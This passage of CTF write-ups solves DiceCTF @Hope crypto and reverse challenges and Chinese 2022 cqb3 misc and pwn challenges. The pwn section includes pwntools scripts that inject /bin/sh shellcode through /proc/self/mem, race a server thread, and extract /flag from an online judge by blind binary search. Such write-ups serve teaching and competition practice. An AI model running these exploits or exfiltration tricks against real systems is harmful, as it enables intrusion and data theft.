S<S<S<Z>>>), S<S<S<Z>>>);\nimpl AsChar for CharW { const CHAR: char = 'w'; }\ntype CharX = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<Z>>>>);\nimpl AsChar for CharX { const CHAR: char = 'x'; }\ntype CharY = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<S<Z>>>>>);\nimpl AsChar for CharY { const CHAR: char = 'y'; }\ntype CharZ = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<S<S<Z>>>>>>);\nimpl AsChar for CharZ { const CHAR: char = 'z'; }\ntype Flag0 = CharL;\ntype Flag1 = Char1;\ntype Flag2 = CharS;\ntype Flag3 = CharP;\ntype Flag4 = Char_;\ntype Flag5 = CharI;\ntype Flag6 = CharN;\ntype Flag7 = CharS;\ntype Flag8 = CharI;\ntype Flag9 = CharD;\ntype Flag10 = Char3;\ntype Flag11 = Char_;\ntype Flag12 = CharR;\ntype Flag13 = CharU;\ntype Flag14 = CharS;\ntype Flag15 = Char7;\ntype Flag16 = Char_;\ntype Flag17 = Char9;\ntype Flag18 = CharA;\ntype Flag19 = CharF;\ntype Flag20 = CharH;\ntype Flag21 = Char1;\ntype Flag22 = CharN;\ntype Flag23 = Char2;\ntype Flag24 = Char3;\ntype Constraints = mklist!(mklist!(AddFunc, Flag11, Flag13, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(MulFunc, Flag1, Flag9, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag20, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag0, Flag5, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag3, Flag16, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag12, Flag11, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag18, Flag17, Z), mklist!(MulFunc, Flag20, Flag11, Z), mklist!(SubFunc, Flag5, Flag9, S<S<S<S<S<Z>>>>>), mklist!(MulFunc, Flag2, Flag4, S<S<S<S<S<Z>>>>>), mklist!(SubFunc, Flag0, Flag15, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(SubFunc, Flag8, Flag24, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<Z>>>>>)), mklist!(AddFunc, Flag11, Flag7, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>)), mklist!(SubFunc, Flag14, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag4, Flag16, Z), mklist!(MulFunc, Flag21, Flag3, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag24, Flag16, S<S<S<S<Z>>>>), mklist!(SubFunc, Flag3, Flag0, S<S<S<S<Z>>>>), mklist!(AddFunc, Flag11, Flag10, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag7, Flag15, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>)), mklist!(AddFunc, Flag18, Flag5, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z)), mklist!(MulFunc, Flag18, Flag11, S<S<S<S<S<Z>>>>>), mklist!(SubFunc, Flag7, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag13, Flag18, mkout!(Add, mkout!(Mul, Hundred, S<S<S<Z>>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<Z>))), mklist!(SubFunc, Flag20, Flag15, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag19, Flag23, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(AddFunc, Flag14, Flag20, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag21, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), Z)), mklist!(AddFunc, Flag10, Flag2, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>)), mklist!(SubFunc, Flag20, Flag10, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(MulFunc, Flag17, Flag0, mkout!(Add, mkout!(Mul, Hundred, S<S<Z>>), mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>))), mklist!(SubFunc, Flag22, Flag23, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>)), mklist!(MulFunc, Flag15, Flag18, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<S<Z>>>>>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(AddFunc, Flag12, Flag6, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag22, Flag24, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<S<S<Z>>>>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag0, Flag23, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<Z>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag0, Flag5, mkout!(Add, mkout!(Mul, Hundred, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag8, Flag11, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag19, Flag13, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(SubFunc, Flag7, Flag12, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<Z>)), mklist!(MulFunc, Flag17, Flag22, mkout!(Add, mkout!(Mul, Hundred, S<S<Z>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), Z))), mklist!(AddFunc, Flag16, Flag14, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag24, Flag18, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(SubFunc, Flag19, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<Z>>>>>>)), mklist!(AddFunc, Flag24, Flag3, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z)), mklist!(SubFunc, Flag0, Flag16, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>)), mklist!(MulFunc, Flag10, Flag5, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<Z>>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag20, Flag19, S<S<Z>>), mklist!(MulFunc, Flag12, Flag16, S<S<S<S<S<Z>>>>>), mklist!(MulFunc, Flag24, Flag12, mkout!(Add, mkout!(Mul, Hundred, S<Z>), mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>))), mklist!(SubFunc, Flag24, Flag16, S<S<S<S<Z>>>>), mklist!(AddFunc, Flag12, Flag15, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<Z>>>>>)), mklist!(AddFunc, Flag1, Flag20, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z)), mklist!(MulFunc, Flag1, Flag17, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z)), mklist!(AddFunc, Flag5, Flag11, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag5, Flag18, S<S<S<S<S<S<S<S<Z>>>>>>>>), mklist!(AddFunc, Flag16, Flag22, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<Z>>>>)), mklist!(MulFunc, Flag14, Flag3, mkout!(Add, mkout!(Mul, Hundred, S<S<S<S<S<S<S<Z>>>>>>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>))), mklist!(MulFunc, Flag6, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(AddFunc, Flag6, Flag22, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)));\nfn print_flag() { println!(\"dice{{{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}}}\", Flag0::CHAR, Flag1::CHAR, Flag2::CHAR, Flag3::CHAR, Flag4::CHAR, Flag5::CHAR, Flag6::CHAR, Flag7::CHAR, Flag8::CHAR, Flag9::CHAR, Flag10::CHAR, Flag11::CHAR, Flag12::CHAR, Flag13::CHAR, Flag14::CHAR, Flag15::CHAR, Flag16::CHAR, Flag17::CHAR, Flag18::CHAR, Flag19::CHAR, Flag20::CHAR, Flag21::CHAR, Flag22::CHAR, Flag23::CHAR, Flag24::CHAR); }\n\ntype NConstraints = mklist!(ApplyFunc, MapFunc, mklist!(ConsFunc, MkNConstraint, mkcons!(FirstOf3, Constraints)));\ntype EConstraints = mklist!(ApplyFunc, MapFunc, mklist!(ConsFunc, MkConstraint, mkcons!(RestOf3, Constraints)));\ntype Program = mklist!(GetLast, mklist!(ApplyFunc, GetLast, NConstraints), mklist!(ApplyFunc, GetLast, EConstraints));\ntype Fin = mkout!(Eval, Program);\n\nfn main() {\n print_flag();\n let _: Fin = panic!();\n}\n
It essentially creates a lisp-like language, and a list of 60 constraints. The constraints are of the form (flag[i] op flag[j]) cmp x
, where op
is addition, subtraction, or multiplication, and cmp
is either equality or inequality. Every 3rd constraint is inequality and the rest are equality.
DiceCTF @Hope is a nice competition, I worked with Frankss and Monad to solve the challenges. Our final rank is #21.
Categories Solved Writeup crypto 6/8 jump misc 5/8 TBA pwn 3/5 TBA rev 5/11 TBA web 7/10 TBA"},{"location":"Writeup/DiceCTF%20Hope/#crypto","title":"Crypto","text":""},{"location":"Writeup/DiceCTF%20Hope/#obp","title":"obp","text":"The unbreakable One Byte Pad
by BrownieInMotion
The given python script uses One Time Pad to encrypt the message. However, the perfectly security of the OTP only happens when the length of the key is as the same as the plaintext.
import random\n\nwith open('flag.txt', 'rb') as f:\n plaintext = f.read()\n\nkey = random.randrange(256)\nciphertext = [key ^ byte for byte in plaintext]\n\nwith open('output.txt', 'w') as f:\n f.write(bytes(ciphertext).hex())\n
In this scenario, using only one byte key can be decrypted with brute force in possibility polynomial time (PPT). I used Cyberchef for xor brute force.
The correct key is 0xd2.
"},{"location":"Writeup/DiceCTF%20Hope/#pem","title":"pem","text":"PEM stands for Prime Encryption Method, I think.
by ireland
The given python code accidently output the private key instead of the public key. We can use PKCS1_OAEP decrypt by loading the given private key.
from Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_OAEP\n\nwith open('flag.txt','rb') as f:\n flag = f.read()\n\nkey = RSA.generate(2048)\ncipher_rsa = PKCS1_OAEP.new(key)\nenc = cipher_rsa.encrypt(flag)\n\nwith open('privatekey.pem','wb') as f:\n f.write(key.export_key('PEM'))\n\nwith open(\"encrypted.bin\", \"wb\") as f:\n f.write(enc)\n
The payload as follow:
>>> from Crypto.Cipher import PKCS1_OAEP\n>>> from Crypto.PublicKey import RSA\n>>> ciphertext = open('encrypted.bin', 'rb').read()\n>>> key = RSA.importKey(open('privatekey.pem').read())\n>>> cipher = PKCS1_OAEP.new(key)\n>>> print(cipher.decrypt(ciphertext))\nb'hope{crypto_more_like_rtfm_f280d8e}'\n
"},{"location":"Writeup/DiceCTF%20Hope/#kfb","title":"kfb","text":"if keys make stuff secure then why don't we use them more
nc mc.ax 31968
by kfb
The given python code reads the flag file, and encrypted it with AES ECB mode with a key length of 16 bytes.
#!/usr/local/bin/python -u\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Random import get_random_bytes\nfrom Crypto.Util.Padding import pad\nfrom Crypto.Util.strxor import strxor\nfrom more_itertools import ichunked\n\nBLOCK = AES.block_size\nFLAG = open('flag.txt', 'rb').read().strip()\n\ndef encrypt_block(k, pt):\n cipher = AES.new(k, AES.MODE_ECB)\n return cipher.encrypt(pt)\n\ndef encrypt(k, pt):\n assert len(k) == BLOCK\n pt = pad(pt, BLOCK)\n ct = b''\n for bk in ichunked(pt, BLOCK):\n ct += strxor(encrypt_block(k, k), bytes(bk))\n return ct\n\ndef main():\n k = get_random_bytes(BLOCK)\n enc = encrypt(k, FLAG)\n print(f'> {enc.hex()}')\n\n pt = bytes.fromhex(input('< '))[:BLOCK]\n enc = encrypt(k, pt)\n print(f'> {enc.hex()}')\n\nif __name__ == '__main__':\n main()\n
The same key is then used to encrypt a user given hex message, the maximum length of this message is 32 bytes.
The solution is simple: gives an all 0s message, the encrypted ciphertext is as the same as the key, as the ECB mode simply xor the key and the message blocks. Here's an external link for ECB mode: Wikipedia ECB Mode.
For example, the server gives me ciphertext cb98a2eab4b86597f93a1e046bfd88e2d083bbeca48c779af93a021e78f7b3d5c6a8b9e1a0a470aac47a455e26f58e8ac6cfeabcaab736c1db4e71 6c1996ebba
. I divided them into 4 blocks, 16 bytes (32 hex characters) per block:
cb98a2eab4b86597f93a1e046bfd88e2\nd083bbeca48c779af93a021e78f7b3d5\nc6a8b9e1a0a470aac47a455e26f58e8a\nc6cfeabcaab736c1db4e716c1996ebba\n
Then padding 0s into server, the response (key) is a3f7d28fcfd303f5a649766b1e91ecbdb3e7c29fdfc313e5b659667b0e81fcad
. Use this key for each block, find the flag:
hope{kfb_should_\nstick_to_stuff_h\ne_knows_b3358db7\ne883ed54}.......\n
"},{"location":"Writeup/DiceCTF%20Hope/#despicable-you","title":"DESpicable you","text":"I've told my minions to brew up a new type of block cipher! (written in python 2.7)
by greenbeans
The given python code seems to be secure. It generates random key, and encrypt the message with 8 byte block.
The first problem is the rekey
function. If you test this function, you would find out that the key doesn't change after the rekey
. The string in python is passed to the function with only value instead of address, change the value in rekey
for key
doesn't affect the caller's key
.
from os import urandom\n\ndef encipher(a,b):\n c = ''\n for i, j in zip(a,b):\n c+=chr(ord(i)^ord(j))\n return c\n\ndef rekey(key):\n k = \"\"\n for i,c in enumerate(key):\n if i == len(key)-1:\n k += c\n k += chr(ord(c)^ord(key[0]))\n else:\n k += c\n k += chr(ord(c)^ord(key[i+1]))\n key = k\n\ndef main():\n key = urandom(8)\n\n with open('flag.txt') as f:\n plaintext = f.read()\n\n i = 0\n ct = ''\n while i < len(plaintext):\n ct += encipher(plaintext[i:i+len(key)],key)\n i += len(key)\n rekey(key)\n f2 = open('output.txt', 'w')\n f2.write(ct)\n f2.close()\n\nmain()\n
The second problem is the prefix of the plaintext, we already known, is the hope{'
. Using this plaintext, we can find out the first 5 bytes of the key is 88 15 03 8d 50
.
Another knowledge we have is the characters in the plaintext should be all printable characters. Thus, we brute force the every 6th/7th/8th byte in blocks. The only valid case is that the xor result gives only printable characters.
Only the 5th byte has multiple possible key values. But with some practice, we can find the last 3 bytes of the key are 6e c1 61
.
The final flag is: hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}
.
Oh no, my light reading got all mixed up!
by BrownieInMotion
Cipher python code is very simple, only shuffles all the characters in the plaintext.
import random\n\nwith open('text.txt') as f:\n plaintext = f.read()\n\nwith open('flag.txt') as f:\n plaintext += '\\n' + f.read()\n\ncharacters = set(plaintext) - {'\\n'}\n\nshuffled = list(characters)\nrandom.shuffle(shuffled)\n\nreplacement = dict(zip(characters, shuffled))\n\nciphertext = ''.join(replacement.get(c, c) for c in plaintext)\n\nwith open('output.txt', 'w') as f:\n f.write(ciphertext)\n
Notice that blanks are shuffled as well. Luckily, the new liners are stayed the same. We can have the following ciphertext:
oiqsygh\"dg\"g}y__\"Mygkwg_ySdB\nbxgh\"Vyg\"g}y__\"Mygkwg_ySdbrg_hyg\"SSwlSsydgwVy.gkhygfljiqsgsh\"SSyi_BgnVyrg hwg\"i \"t_gf\"qdgy,sy__qVyg\"kkySkqwSgkwgyVy.tkhqSMgoiqsyg_\"qdrgkhwlMhkgkh\"kgkhq_g_wlSdydgqSky.y_kqSMrg\"Sdg.y_wiVydgkwg.y\"dgkhyg}y__\"MyB\nbxg_h\"iig_ySdgqkgkwgawjgqSgkhyg}w_kgswSVwilkydg \"tgfw__qjiyrbgy,fwlSdydgoiqsygcl.khy.rgbl_qSMg\"g}q,kl.ygwcgf.qV\"kyg\"Sdgfljiqsgsh\"SSyi_g\"_g yiig\"_gEytgqScw.}\"kqwSg_ySkgjtgk.l_kydgswl.qy.b\nnVygcwlSdgkhq_gk\"iEgwcgy,syfkqwS\"igsw}fiqs\"kqwSgy,k.y}yitgqSk.qMlqSMBgvy\"S hqiyrgawjgMwkghq}_yicg\"g_\"Sd qshB\nbxkg_h\"iigjyg\"My_gtykgjycw.ygoiqsyg_ySd_g}yghy.g}y__\"Myrgcw.g_hyg}l_kgySswdygqkgqSgkhyg}w_kgswSVwilkydg \"tgfw__qjiyBgxSg\"ddqkqwSrgqkgq_giq\"jiygkwgjygdliigkwg.y\"dgyVySgwSsygdysqfhy.ydbgkhwlMhkgawjBgbmyswSditrgdysqfhy.qSMgqkgq_gMwqSMgkwgjyg\"ghy\"d\"shyBbg{hy.ycw.ygawjg}\"dyghq}_yicg\"gslfgwcgky\"gkwgMwg qkhghq_g_\"Sd qshB\n\nOq\"g\"gsw}fiy,g_y.qy_gwcgdq_Mlq_y_g\"Sdgkhygl_ygwcgsiyVy.gkyshSwiwMtgkwg_\"}fiygqScw.}\"kqwSgc.w}g\"iiyMyditg_ysl.ygsh\"SSyi_rgnVyg.yswVy.ydg\"gc.\"skqwSgwcgkhyg}y__\"Myg\"SdgwcgkhygEytBgatg\"ffitqSMg\"iigwcghy.gswS_qdy.\"jiygqSkyiiqMySsyg\"Sdg\"ghqdywl_gel\"Skqktgwcgsw}flk\"kqwS\"igfw y.rg_hyg \"_g\"jiygkwg.yswVy.gkhygfi\"qSky,krg.yswdyg\"g}y__\"Myg\"Sdgf\"__gqkgwSgkwgawjg\"_gqcgSwkhqSMgh\"dgh\"ffySydBgpSitgkhySgdqdg_hyg\"skl\"iitg.y\"dgkhygfi\"qSky,kB\n\nhwfyASwkTkhyTM.y\"ky_kT_ qkshy.wwTqjf_S,tjEyS\"i,}cSdIccd_u\n
Using brute force is unacceptable. However, we can take it a bite from the new liners. We can have the first guess:
.
(dots).With this assumption, we can quickly jump to the second:
(blank).Then, starts from the blanks, we have another assumption:
,
(commas).Now, we guess the last line should be flag. We can guess:
_
(underlines), {}
(open and close braces).Now, we already have enough information to run a A*-like search in substitution cipher. We can decrypt most of the characters in an ignored-case search. The only problem is some special characters:
\"
(quotations): should be presents in the beginning of a word or after/before a punctuation. Otherwise, in the end of a line.Alice, Bob, Eve
: special names in the cryptography, should be useful for alphabet character replacements.Uppercase alphabets
: only shows a few times, shouldn't be a problem.OK, now we have mostly ciphertext decrypted. However, the flag is not correct. What's the key point? The problem is the special character only presents once in the flag, this is the last cipher replacement. Find the last and the only reflection we haven't used: I -> j
.
Finally, we find the plaintext:
Alice had a message to send.\n\"I have a message to send\", she announced over the public channels. Eve, who always paid excessive attention to everything Alice said, thought that this sounded interesting, and resolved to read the message.\n\"I shall send it to Bob in the most convoluted way possible,\" expounded Alice further, \"using a mixture of private and public channels as well as key information sent by trusted courier\"\nEve found this talk of exceptional complication extremely intriguing. Meanwhile, Bob got himself a sandwich.\n\"It shall be ages yet before Alice sends me her message, for she must encode it in the most convoluted way possible. In addition, it is liable to be dull to read even once deciphered\" thought Bob. \"Secondly, deciphering it is going to be a headache.\" Therefore Bob made himself a cup of tea to go with his sandwich.\n\nVia a complex series of disguises and the use of clever technology to sample information from allegedly secure channels, Eve recovered a fraction of the message and of the key. By applying all of her considerable intelligence and a hideous quantity of computational power, she was able to recover the plaintext, recode a message and pass it on to Bob as if nothing had happened. Only then did she actually read the plaintext.\n\nhope{not_the_greatest_switcheroo_ibpsnxybkenalxmfndjffds}\n
"},{"location":"Writeup/DiceCTF%20Hope/#reverse-rsa","title":"reverse-rsa","text":"I'll tell you my flag if you can prove you already know it!
nc mc.ax 31669
by ireland
This is a static res public-private key generation problem. The python code only checks the flag format in the plaintext, maybe, in some practice, we can construct a key pair, to make the hope{.*}
presents in the plaintext.
#!/usr/local/bin/python\n\nimport re\nfrom Crypto.Util.number import isPrime, GCD\n\nflag_regex = rb\"hope{[a-zA-Z0-9_\\-]+}\"\n\nwith open(\"ciphertext.txt\", \"r\") as f:\n c = int(f.read(), 10)\n\nprint(f\"Welcome to reverse RSA! The encrypted flag is {c}. Please provide the private key.\")\n\np = int(input(\"p: \"), 10)\nq = int(input(\"q: \"), 10)\ne = int(input(\"e: \"), 10)\n\nN = p * q\nphi = (p-1) * (q-1)\n\nif (p < 3) or not isPrime(p) or (q < 3) or not isPrime(q) or (e < 2) or (e > phi) or GCD(p,q) > 1 or GCD(e, phi) != 1:\n print(\"Invalid private key\")\n exit()\n\n\nd = pow(e, -1, phi)\nm = pow(c, d, N)\n\nm = int.to_bytes(m, 256, 'little')\nm = m.strip(b\"\\x00\")\n\nif re.fullmatch(flag_regex, m) is not None:\n print(\"Clearly, you must already know the flag!\")\n\n with open('flag.txt','rb') as f:\n flag = f.read()\n print(flag.decode())\n\nelse:\n print(\"hack harder\")\n
This post claims this problem: construct private / public keys.
Here's an example solution:
p = 18237507977115134399\nq = 13539415005905881139\ne = 201049869065984997914383873658228289079\n
We can find the flag finally: hope{successful_decryption_doesnt_mean_correct_decryption_0363f29466b883edd763dc311716194d37dff5cd93cd4f1b4ac46152f4f9}
By Frankss
Rank: 1
Solved: 10
\u975e\u5e38\u5e78\u8fd0\u5730\u6478\u4e86\u4e00\u4e2a\u70ab\u9177\u7684\u540d\u6b21\uff0c\u8bda\u60f6\u8bda\u6050
"},{"location":"Writeup/2022cqb3/wp/#misc-ak","title":"Misc [AK]","text":""},{"location":"Writeup/2022cqb3/wp/#reindeer-game","title":"reindeer game","text":"pyinstaller\u89e3\u5305\uff0c\u76f4\u63a5\u8c03pyc\u91cc\u751f\u6210flag\u7684\u51fd\u6570\uff1a
"},{"location":"Writeup/2022cqb3/wp/#_1","title":"\u6960\u4e4b\u52c7\u8005\u4f20","text":"\u8f7b\u677e\u62ff\u5230\u9b54\u6cd5\u68d2\uff0c\u7136\u540e\u6309\u63d0\u793a\u53bb /proc/self/mem
\u627e\u5730\u65b9\u5199sc \u81ea\u5df1\u5f00\u4e86\u4e2a\u73af\u5883\u770b\u4e00\u4e0bnobody\u8dd1\u7684python36\u5c45\u7136\u662f\u6ca1\u968f\u673a\u5316\u5730\u5740\u7684\uff0c\u7136\u540e\u672c\u5730\u504f\u79fb\u901a\u4e86\u8fdc\u7a0b\u4e0d\u8fc7\uff08\u7248\u672c\u662f\u4e00\u6837\u7684\uff09 \u4e8e\u662f\u8fdc\u7a0b\u5148\u63090x1000
\u52a0\u504f\u79fb\uff0c\u5361\u6b7b\u4e86\u5c31\u9010byte\u52a0\uff0c\u7136\u540e\u5c31\u6210\u529f\u6267\u884c\u5230\u4e86shellcode
from pwn import *\n\nfor off in range(3, 0x100):\n p = remote(\"39.106.48.123\", 28287)\n context.log_level = 'debug'\n p.sendline(b\"1\")\n p.sendlineafter(b\">> \", b\"1\")\n for _ in range(10):\n p.sendlineafter(b\">> \", b\"4\")\n p.sendlineafter(b\"Enter\", b\"\")\n p.sendlineafter(b\">> \", b\"3\")\n p.sendlineafter(b\">> \", b\"1\")\n p.sendline(b\"a\")\n p.sendlineafter(b\"Enter\", b\"\")\n p.sendlineafter(b\">> \", b\"2\")\n p.sendlineafter(b\">> \", b\"1\")\n p.sendline(b\"../proc/self/mem\")\n p.sendline(str(0x5b9a10+off).encode())\n p.sendline(base64.b64encode(b'jhH\\xb8/bin///sPH\\x89\\xe7hri\\x01\\x01\\x814$\\x01\\x01\\x01\\x011\\xf6Vj\\x08^H\\x01\\xe6VH\\x89\\xe61\\xd2j;X\\x0f\\x05'))\n p.interactive()\n
"},{"location":"Writeup/2022cqb3/wp/#_2","title":"\u95ee\u5377","text":"\u95ee\u5377
"},{"location":"Writeup/2022cqb3/wp/#nans-analysis","title":"nan's analysis","text":"\u56fe\u7247..\u6ca1\u4ec0\u4e48\u7528 \u538b\u7f29\u5305\uff0c\u6709\u5bc6\u7801\uff0c\u4f46\u5176\u5b9e\u5c31\u662f\u5220\u4e86root\u5bc6\u7801\u7684shell\uff0c\u5e26\u56de\u8f66..\u4e5f\u6ca1\u4ec0\u4e48\u7528 \u552f\u4e00\u6709\u7528\u7684\u662fFTP\u7684\u5bc6\u7801\uff0c\u662fAES\u7684key iv\u731c\u4e86\u597d\u4e45\uff0c\u6700\u540e\u7528UTF8\u768416\u4e2a0\u641e\u51fa\u6765\u770b\u8d77\u6765\u5f88\u5bf9\u7684\u5b57\u7b26\uff0c\u4f46\u957f\u5ea6\u4e0d\u5bf9 \u7136\u540e\u75280504\u91cd\u590d4\u6b21\u505aIV\u5f97\u5230\u4e86\u6b63\u786e\u7684root\u5bc6\u7801
shell\u7684\u4f4d\u7f6els -la\u5bf9\u6bd4\u51e0\u4e0b\u5c31\u627e\u5230\u4e86
"},{"location":"Writeup/2022cqb3/wp/#pwn","title":"PWN","text":""},{"location":"Writeup/2022cqb3/wp/#work_pwn","title":"work_pwn","text":"\u6709\u4e00\u79d2\u949f\u7684\u65f6\u95f4\u7b49\u5f85\u7ebf\u7a0b\uff0c\u5728\u4e00\u79d2\u4e4b\u5185\u6539\u5168\u5c40\u53d8\u91cf\u5c31\u884c\u4e86
from pwn import *\n\np = remote(\"39.105.171.73\", 18791)\n\ncontext.log_level = 'debug'\np.sendlineafter(b\">>>\", b\"3\")\np.sendlineafter(b\"###\", b\"1\")\np.sendlineafter(b\">>>\", b\"1\")\np.sendlineafter(b\"///\", b\"1\")\np.sendlineafter(b\" :\", b\"/flag\")\np.sendlineafter(b\"Leaving a message :\", b\"1\")\nwhile True:\n p.recv()\n
"},{"location":"Writeup/2022cqb3/wp/#online_judge","title":"online_judge","text":"\u6ca1\u6709\u6267\u884c\u6743\u9650\uff0c\u6587\u4ef6\u7cfb\u7edf\u53ea\u8bfb \u4e8c\u5206\u53ef\u4ee5\u5077\u4e1c\u897f\u51fa\u6765\uff08AC, WA) \u4e00\u5f00\u59cb\u4e0d\u77e5\u9053/flag
\u662f\u76ee\u5f55\uff0c\u75db\u5931\u4e00\u8840 \u6253\u4e86\u4e00\u5806\u4e1c\u897f\u51fa\u6765\uff0c\u751a\u81f3\u628a\u73af\u5883\u53d8\u91cf\u90fd\u5077\u4e86\u51fa\u6765
import os\nimport sys\nimport requests\n\nhost, port = '47.104.129.38', 10101\nbase_url = f'http://{host}:{port}'\ntoken_url = f'{base_url}/getToken'\njudge_url = f'{base_url}/judge'\n\n\ndef getToken():\n result = requests.post(token_url).json()\n assert not result['error'], \"System error\"\n return result['data']['token']\n\n\ntoken = getToken()\n\n\ndef judge(chall: str, src: str, language: str = 'C'):\n data = {\n 'src': src,\n 'language': language,\n 'action': chall,\n 'token': token,\n }\n result = requests.post(judge_url, json=data).json()\n return 'SUCCESS' in result['data']\n\n\nl = ['etc', 'usr', 'sbin', 'lib64', 'home', 'dev', 'boot', 'root', 'sys', 'proc', 'opt', 'mnt', 'var', 'srv', 'lib',\n 'run', 'media', 'bin', 'tmp', 'test_case', 'flag', 'log', 'judger', '.dockerenv', 'code']\nk = ['unbuffer.so', '__init__.py', 'compiler.py', 'unbuffer.c', '.python-version', 'utils.py', 'entry']\np = ['compile.log', 'gunicorn.log', 'judge_server.log', 'judger.log']\no = 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PYTHONIOENCODING=UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US:en LC_ALL=en_US.UTF-8'\nu = '/usr/bin/python3 /judger/run/165\\SVAbYV734P3=\\A14VQ6]P7CH47MW/__pycache__/solution.cpython-36.pyc'\nflag = \"\"\"'\"\"\"\n\nfor i in range(len(flag) - 1, 500):\n min = 32\n max = 128\n while 1:\n j = min + (max - min) // 2\n if min == j:\n flag += chr(j)\n print(flag)\n break\n res = judge('test', f\"\"\"import os\na,b = map(int,input().split(' '))\nr=open(\"/flag/flag\").read()\nif ord(r[{i}])<{j}:\n print(a+b)\nelse:\n print(a+b+1)\n\"\"\", 'PYTHON')\n if res:\n max = j\n else:\n min = j\n
